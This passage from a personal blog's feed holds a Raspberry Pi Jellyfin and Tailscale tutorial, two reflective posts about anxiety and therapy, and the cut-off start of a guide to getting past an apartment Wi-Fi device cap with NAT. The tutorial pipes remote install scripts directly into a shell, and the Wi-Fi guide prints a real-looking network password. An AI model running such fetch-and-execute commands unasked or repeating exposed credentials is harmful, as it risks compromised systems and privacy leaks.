<p>The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.</p>
<h2 id="what-you-need">What you need</h2>
<p>My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” You’ll also want a folder of movies you’re allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isn’t supported, and I’m intentionally keeping this firmly in the “your own files” lane.</p>
<h2 id="step-one-choose-a-home-for-your-stuff">Step one: choose a home for your stuff</h2>
<p>Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.</p>
<p>On the Pi, I created a little directory neighborhood under <code>/srv</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo mkdir -p /srv/jellyfin/<span style="color:#f92672">{</span>config,cache<span style="color:#f92672">}</span> /srv/media /srv/compose/jellyfin
</span></span><span style="display:flex;"><span>sudo chown -R $USER:$USER /srv
</span></span></code></pre></div><p>If you’re not ready to move movies into <code>/srv/media</code> yet, that’s okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.</p>
<h2 id="step-two-install-docker-and-start-thinking-in-containers">Step two: install Docker and start thinking in containers</h2>
<p>I installed Docker and verified that <code>docker compose</code> worked. After that, everything became a file called <code>docker-compose.yml</code> and the comforting feeling that I can rebuild my server from a single folder if life gets weird.</p>
<p>A typical install flow on Raspberry Pi OS looks like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt update
</span></span><span style="display:flex;"><span>sudo apt install -y ca-certificates curl
</span></span><span style="display:flex;"><span>curl -fsSL https://get.docker.com | sh
</span></span><span style="display:flex;"><span>sudo usermod -aG docker $USER
</span></span><span style="display:flex;"><span>newgrp docker
</span></span><span style="display:flex;"><span>docker --version
</span></span><span style="display:flex;"><span>docker compose version
</span></span></code></pre></div><p>Now for the part that feels like summoning a friendly daemon.</p>
<h2 id="step-three-jellyfin-running-happily-in-docker">Step three: Jellyfin, running happily in Docker</h2>
<p>In <code>/srv/compose/jellyfin/docker-compose.yml</code>, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to <code>/home/hub/Documents/movies</code> from inside the Jellyfin UI and it looks like the folder doesn’t exist, it’s not being dramatic—it genuinely can’t see it. Containers are like that.</p>
<p>Here’s a simple <code>docker-compose.yml</code> that works well on a Pi:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">jellyfin</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">jellyfin/jellyfin:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">jellyfin</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">user</span>: <span style="color:#e6db74">&#34;1000:1000&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;8096:8096/tcp&#34;</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;7359:7359/udp&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">/srv/jellyfin/config:/config</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">/srv/jellyfin/cache:/cache</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">/srv/media:/media</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span></code></pre></div><p>If your user isn’t UID 1000, check it with <code>id -u</code> and <code>id -g</code>, then update the <code>user:</code> line accordingly.</p>
<p>I started Jellyfin like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /srv/compose/jellyfin
</span></span><span style="display:flex;"><span>docker compose up -d
</span></span></code></pre></div><p>After that, Jellyfin lived at <code>http://&lt;pi-lan-ip&gt;:8096</code> on my home network, which is the most satisfying “it’s alive” moment of the whole build.</p>
<h2 id="step-four-tailscale-the-magic-door-for-friends">Step four: Tailscale, the magic door for friends</h2>
<p>Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didn’t accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -fsSL https://tailscale.com/install.sh | sh
</span></span><span style="display:flex;"><span>sudo tailscale up
</span></span><span style="display:flex;"><span>tailscale ip -4
</span></span></code></pre></div><p>That last command gives you a <code>100.x.y.z</code> address. It’s your Pi’s Tailscale IP, and it’s the address your friends will use to reach Jellyfin. From anywhere, the server becomes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>http://100.x.y.z:8096
</span></span></code></pre></div><p>Or if you enabled magicDNS:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>http://rpi:8096
</span></span></code></pre></div><p>The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.</p>
<p>If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow that’s perfect for “here’s the Pi, please don’t look in the rest of my digital house.”</p>
<h2 id="step-five-create-a-jellyfin-user-for-your-friend">Step five: create a Jellyfin user for your friend</h2>
<p>Jellyfin accounts are local to your server. Your friend won’t “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.</p>
<p>If typing passwords on a TV app makes you feel old instantly, Jellyfin’s Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.</p>
<h2 id="step-six-the-secret-to-a-smooth-pi-movie-night-is-direct-play">Step six: the secret to a smooth Pi movie night is Direct Play</h2>
<p>A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.</p>
<p>For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but it’s not universal in browsers, and “my friend has no audio” is a movie-night mood killer.</p>
<p>The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 that’s friendlier to phones and browsers:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i <span style="color:#e6db74">&#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv&#34;</span>   -map 0:v:0 -map 0:a:0   -c:v copy   -c:a aac -b:a 384k -ac <span style="color:#ae81ff">2</span>   -movflags +faststart   <span style="color:#e6db74">&#34;500.Days.of.Summer.2009.1080p.mp4&#34;</span>
</span></span></code></pre></div><p>Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client can’t render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ffmpeg -i <span style="color:#e6db74">&#34;500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv&#34;</span>   -map 0:s:0   <span style="color:#e6db74">&#34;500.Days.of.Summer.2009.1080p.srt&#34;</span>
</span></span></code></pre></div><p>Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.</p>
<h2 id="step-seven-syncplay-aka-we-pressed-play-together">Step seven: SyncPlay, aka “we pressed play together”</h2>
<p>Jellyfin has SyncPlay for “group watch” nights, and it’s wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because it’s consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. It’s not complicated; it’s just… cozy.</p>
<h2 id="starting-on-microsd-graduating-to-ssd-later">Starting on microSD, graduating to SSD later</h2>
<p>Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.</p>
<p>The reason the <code>/srv</code> layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy <code>/srv</code> to the SSD, mount the SSD at <code>/srv</code>, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and you’ll feel like a wizard who planned ahead.</p>
<h2 id="where-this-goes-next">Where this goes next</h2>
<p>Once Jellyfin and Tailscale are stable, it’s easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice I’m giving future-me is to add services one at a time and keep <code>/srv</code> as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”</p>
<p>For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “let’s watch something” into a real shared moment—even when we’re not in the same room.</p>
<p>Happy streaming.</p>
<p>The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I&rsquo;ll write a review for it later on. It was just amazing.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/boredom.md">Markdown</a> ·
    <a href="/sources/posts/boredom.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
jSrqzw/8Crod3Gm5xGMMrOtsoVm9NFwTAD7xdc8H5LcFC8P5OZmyEYBxF/SEHk6m
TDhSyj6bNdShWIrzkKL0XHm6ntjhkBX4&#43;dFzPbKjpHZ84on/xfNwIOh8br&#43;WJEBF
V3zCialBjjxxE37PVLkqsNVVtMgT2Wv5GnR7SWLKkovJWpIn/FP0gSsQFUIvRvdC
Xhy3nvODqXZqfg77kKllmbkPI5ePkxl95CK9fd4yzhI13G41vveVO4dt2JhWVR6H
dfRv6XG53WGP0nVWyEdHJjJhiT1JTd7//AD3DsRCTmBNyaxweRlPsvqqICquGx1U
LGQ62y0oZL5WDqjiD7T2ZJAJ6sqr6NngFGjh7RaKOWDT1&#43;8fTdXfQg/t91lTHVfh
efVqOiH&#43;B6SlzqPM4LgzRjf&#43;36XdSu9R1w75sGykQpGRBfq2IymoM6RPQLEwgm3J
haMjYRqx5jZSLj9FpjOZFYEuqYCa0ut0lUgY9BDHf0u8kKrW6OQZFVdhN31g&#43;Lvf
5qjzC&#43;ZzR4BLMpA4E33NKmYT4Rt1i5mSPiGY85yqhJdjFJRtPfXXf05&#43;m7VGjRPp
sWQmqO1o7cChFqVnF5IalDFCNIsGavBf8F0/7tu3y4bLIqoBMBfgIgg9KMORVHIn
kqUsV4LpNgVWdTzp0QURkHUOL5uP72Jqa3ppVYEXlJQbhuLpCDY=
=/K6E
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md
curl -fSLO https://blog.alipour.eu/sources/posts/boredom.md.asc
gpg --verify boredom.md.asc boredom.md
  </pre>
</div>


]]></content:encoded></item><item><title>How am I doing?</title><link>https://blog.alipour.eu/posts/how_i_am_doing/</link><pubDate>Mon, 15 Dec 2025 08:27:13 +0000</pubDate><guid>https://blog.alipour.eu/posts/how_i_am_doing/</guid><description>&lt;p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me.
I&amp;rsquo;m interpretting every little move, every action, every response as me being in trouble.
Not only is it exhausting, but also it&amp;rsquo;s draining me.
Draining me of happiness, being in pursuit of happyness.&lt;/p>
&lt;p>Idk what is wrong with me. Idk why I can&amp;rsquo;t let go. I don&amp;rsquo;t know why I need so much closure. Idk. I really don&amp;rsquo;t.
What I know is that I&amp;rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life.
Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.&lt;/p></description><content:encoded><![CDATA[<p>This constant feeling of how people think about me, how they view me, what is happening with them is killing me.
I&rsquo;m interpretting every little move, every action, every response as me being in trouble.
Not only is it exhausting, but also it&rsquo;s draining me.
Draining me of happiness, being in pursuit of happyness.</p>
<p>Idk what is wrong with me. Idk why I can&rsquo;t let go. I don&rsquo;t know why I need so much closure. Idk. I really don&rsquo;t.
What I know is that I&rsquo;m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life.
Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.</p>
<p>This &ldquo;others&rdquo; in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months.
Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.</p>
<p>Idk what to do. I feel like I&rsquo;m stuck in this life that I don&rsquo;t like, with so much that I love. Does this even make sense? Idk.
I know I&rsquo;m full of love, and I&rsquo;m willing to give it to someone.</p>
<p>Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don&rsquo;t know if I&rsquo;m lying to myself or not.
Second, I know my therapist is worried for me. For how easy I can fall in the wrong people&rsquo;s hand, and how badly I could get hurt.</p>
<p>He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this.
I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/how_I_am_doing.md">Markdown</a> ·
    <a href="/sources/posts/how_I_am_doing.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8
fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX&#43;PXQMo5buZy8lvT&#43;n
ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv
xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG
m2F&#43;aoxxgva28PxwvJp&#43;yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n
bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO
tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT&#43;dSrD6Ls0d
T6baPwZTDnCz6dOvZB8g8jq5V2RsI9&#43;FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n
&#43;J69MpQMCOh&#43;S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz
Ek0xuaY&#43;o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW&#43;7o9LB7VwLex
Bsy6Od/KW0X78XG0n1JnAw&#43;kVQoaYWTWbXBV3CJ8n8dUaQn&#43;ctw=
=NPxh
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md
curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md.asc
gpg --verify how_I_am_doing.md.asc how_I_am_doing.md
  </pre>
</div>


]]></content:encoded></item><item><title>Setting Boundries</title><link>https://blog.alipour.eu/posts/setting_boundries/</link><pubDate>Thu, 04 Dec 2025 14:38:36 +0000</pubDate><guid>https://blog.alipour.eu/posts/setting_boundries/</guid><description>&lt;p>I was watching &lt;a href="https://www.youtube.com/watch?v=MQzDMkeSzpw">this video&lt;/a> the other day. It&amp;rsquo;s an interesting video imo. This is something I&amp;rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?&lt;/p>
&lt;p>Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other&amp;rsquo;s respect. Naturally that evolved into me becoming a people please. A so called &amp;ldquo;nice person&amp;rdquo;. I&amp;rsquo;ve even been made fun of with those words.&lt;/p></description><content:encoded><![CDATA[<p>I was watching <a href="https://www.youtube.com/watch?v=MQzDMkeSzpw">this video</a> the other day. It&rsquo;s an interesting video imo. This is something I&rsquo;ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me?</p>
<p>Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other&rsquo;s respect. Naturally that evolved into me becoming a people please. A so called &ldquo;nice person&rdquo;. I&rsquo;ve even been made fun of with those words.</p>
<p>All of it for earning the validation I never received for being myself as a kid. All of it for receiving conditional love. And now I&rsquo;m broken. When people act cold with me, I assume they don&rsquo;t like me. Then I want to fix things. Then I become annoying. I look like an &ldquo;anxiously attached&rdquo; person.</p>
<p>But then there is a big part of me that wants to keep doing this. The problem is the second part. The part where I expect validation, but conditional validation. It&rsquo;s sad, and it&rsquo;s eating at my everything. I feel exhausted. I feel tired. I feel like every connection of mine is breaking apart. Connections I worked so hard to form. People I tried so hard to please.</p>
<p>So&hellip; I made a decision. To stay away from everyone. To make distance.</p>
<p>The doubt came in quickly. I became scared that I might lose my connections, the connections I truly adore, the connections I don&rsquo;t want to lose. But it&rsquo;s part of the healing process. I need to be able to create distance, and set boundries without fear of being abandoned. And if along the way I lose some people, maybe they were never really my friends in the first place?</p>
<p>The part I&rsquo;m making mistake in is that everyone thinks something bad has happened. And they &ldquo;probably&rdquo; expect me to talk to them about it. Now this is the part I had to work on. The &ldquo;setting boundry&rdquo; part. I don&rsquo;t know if I can do it respectfully or not. I know I will break if I talk.</p>
<p>I don&rsquo;t really like to stay away from people, to push my friends away. But for now, I have to. I hope I won&rsquo;t regret any of these actions. I hope I can heal. I don&rsquo;t know what will happen next, I just know that I don&rsquo;t want to hangout in large groups for a while. I don&rsquo;t want to be happy. I want to mourn. I need to mourn. I hope I heal. I hope I won&rsquo;t turn into an incel. I know I won&rsquo;t. I know I push through. I know&hellip;</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/setting_boundries.md">Markdown</a> ·
    <a href="/sources/posts/setting_boundries.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbusACgkQtYgoUOBM
jSpGcg/&#43;O/7gsSe5s82yq4fSOU0rrioTf3&#43;LMkSl7ceo&#43;gPJlW4CiGfkvYqQ2Gvo
7IFLlxYoThRgcQ02jJxDA6dm8Uqy9566I6yBhi4Prn2EDIH0GKOjCrbSak9HGPE2
HtL9BrHaU&#43;kAbeh03Pr1RJ1jH/LDqDRTbrV6jZzN7bnCut4cPwW3ItX69VobFq2/
v&#43;mJtSU6DTllTVJFomaDx0K8fX1hmLDHfgGT/UEGdWj/Zx6RFCBU3195GThm&#43;3Gv
Dg5fX1vj9ZEtNMr1T&#43;lWEfpeECqa04c4wRxkXEIrS2DcLnz7gCl49can0nGVehJr
vyx4WJ2eeG&#43;spDG8cYPK9nTGu7xrsw5TxmPjkGbMe7A6lOtedbsCuJeyx8YWFk3c
&#43;O0170uxBWoAF2ugA986PZ13eUU6F9BxXzj&#43;bQV72LdqL6eszUFyeuhxHuMs0Q9s
EjrKVkFsHZaMuc1r2mcYRZG&#43;BkgyELZiyBnToNj6IRwmno6XwGpjfEb9PJ/MZ&#43;sf
OLQReEoQRCf5Xaj3ZACRq7zk8UCHpu22MkyNMLd97YSuRGu7JyD/88OHigakjmdJ
oCML5WEG&#43;9/EIcEfSj&#43;GdUA5fEdzXB/FJ2SoUHzQQWiFtxUqKKCPlvM3rqCfwsLE
CIQBkMt8eJ7gUq&#43;xQAg&#43;BosLLMl1PgCQCOMml0omPyDv36vbnos=
=oJ5s
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md
curl -fSLO https://blog.alipour.eu/sources/posts/setting_boundries.md.asc
gpg --verify setting_boundries.md.asc setting_boundries.md
  </pre>
</div>


]]></content:encoded></item><item><title>I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)</title><link>https://blog.alipour.eu/posts/house_upgrade/</link><pubDate>Sun, 23 Nov 2025 00:00:00 +0000</pubDate><guid>https://blog.alipour.eu/posts/house_upgrade/</guid><description>Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support.</description><content:encoded><![CDATA[<h2 id="the-day-my-wi-fi-said-eight-is-enough">The Day My Wi-Fi Said “Eight Is Enough”</h2>
<p>My apartment Wi-Fi (ASK4) has a hard cap of <strong>8 devices</strong>. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put <strong>all the IoT stuff behind a Raspberry Pi</strong> that shows up as <strong>one</strong> device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.</p>
<p>This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.</p>
<hr>
<h2 id="hardware-what-i-picked-and-why">Hardware: what I picked and why</h2>
<ul>
<li>
<p><strong>Raspberry Pi 4 (4GB)</strong><br>
It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.</p>
</li>
<li>
<p><strong>ALFA AWUS036ACHM (USB Wi-Fi)</strong><br>
Reliable, <strong>AP-mode</strong> friendly on Linux, and happy with <code>hostapd</code>. I used it to <strong>broadcast</strong> my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short <strong>USB 3 extension</strong> so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).</p>
</li>
<li>
<p><strong>Fast USB-C power supply</strong> (official Pi 4 or 5V/3A equivalent)<br>
Wi-Fi spikes current draw; brown-outs cause random gremlins.</p>
</li>
<li>
<p><strong>16–32 GB microSD</strong>, <strong>heatsinks</strong>, <strong>ventilated case</strong><br>
The Pi 4 appreciates a bit of airflow.</p>
</li>
<li>
<p><strong>(Optional) Ethernet cable</strong><br>
If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.</p>
</li>
</ul>
<hr>
<h2 id="what-this-setup-actually-does">What this setup actually does</h2>
<ul>
<li>The Pi connects to the building’s <strong>ASK4 Wi-Fi</strong> as a <strong>client</strong> (<code>wlan0</code>).</li>
<li>The ALFA dongle creates a new access point called <strong><code>IoT_hub</code></strong> (<code>wlx…</code> interface) with password <code>Iman8118</code>.</li>
<li>Devices join <code>IoT_hub</code>. The Pi does <strong>NAT</strong>, so upstream sees <strong>one MAC address</strong> (the Pi), not dozens of gadgets. Device limit: defeated.</li>
<li><strong>Avahi mDNS reflector</strong> lets services like <strong>AirPlay/HomeKit</strong> be discoverable across the two subnets without touching the managed router.</li>
<li>If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., <strong>Tailscale</strong>) to reach <code>192.168.50.0/24</code> from anywhere.</li>
</ul>
<hr>
<h2 id="setup-details-the-friendly-version">Setup details (the friendly version)</h2>
<h3 id="1-access-point-with-hostapd">1) Access point with hostapd</h3>
<p>I broadcast a simple WPA2 network on <strong>2.4 GHz</strong> (best compatibility). Channel <strong>1/6/11</strong>—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ini" data-lang="ini"><span style="display:flex;"><span><span style="color:#a6e22e">interface</span><span style="color:#f92672">=</span><span style="color:#e6db74">wlx00c0cab7ab29</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ssid</span><span style="color:#f92672">=</span><span style="color:#e6db74">&lt;A_NICE_SSID&gt;</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">country_code</span><span style="color:#f92672">=</span><span style="color:#e6db74">DE</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">hw_mode</span><span style="color:#f92672">=</span><span style="color:#e6db74">g</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">channel</span><span style="color:#f92672">=</span><span style="color:#e6db74">6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">ieee80211n</span><span style="color:#f92672">=</span><span style="color:#e6db74">1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">wmm_enabled</span><span style="color:#f92672">=</span><span style="color:#e6db74">1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Don&#39;t require HT or you&#39;ll reject some tiny IoT clients:</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">require_ht</span><span style="color:#f92672">=</span><span style="color:#e6db74">0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">wpa</span><span style="color:#f92672">=</span><span style="color:#e6db74">2</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">wpa_key_mgmt</span><span style="color:#f92672">=</span><span style="color:#e6db74">WPA-PSK</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">rsn_pairwise</span><span style="color:#f92672">=</span><span style="color:#e6db74">CCMP</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">wpa_passphrase</span><span style="color:#f92672">=</span><span style="color:#e6db74">&lt;STRONG_PASSWORD&gt;</span>
</span></span></code></pre></div><h3 id="2-dhcp-on-the-iot-side-dnsmasq">2) DHCP on the IoT side (dnsmasq)</h3>
<p>Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>interface<span style="color:#f92672">=</span>wlx00c0cab7ab29
</span></span><span style="display:flex;"><span>bind-interfaces
</span></span><span style="display:flex;"><span>dhcp-range<span style="color:#f92672">=</span>192.168.50.100,192.168.50.240,255.255.255.0,12h
</span></span><span style="display:flex;"><span>dhcp-option<span style="color:#f92672">=</span>3,192.168.50.1
</span></span><span style="display:flex;"><span>dhcp-option<span style="color:#f92672">=</span>6,1.1.1.1,8.8.8.8
</span></span><span style="display:flex;"><span>port<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>  <span style="color:#75715e"># leave port 53 to systemd-resolved</span>
</span></span><span style="display:flex;"><span>log-dhcp
</span></span></code></pre></div><h3 id="3-routing--nat-nftables">3) Routing + NAT (nftables)</h3>
<p>This makes every downstream device appear as the Pi upstream:</p>
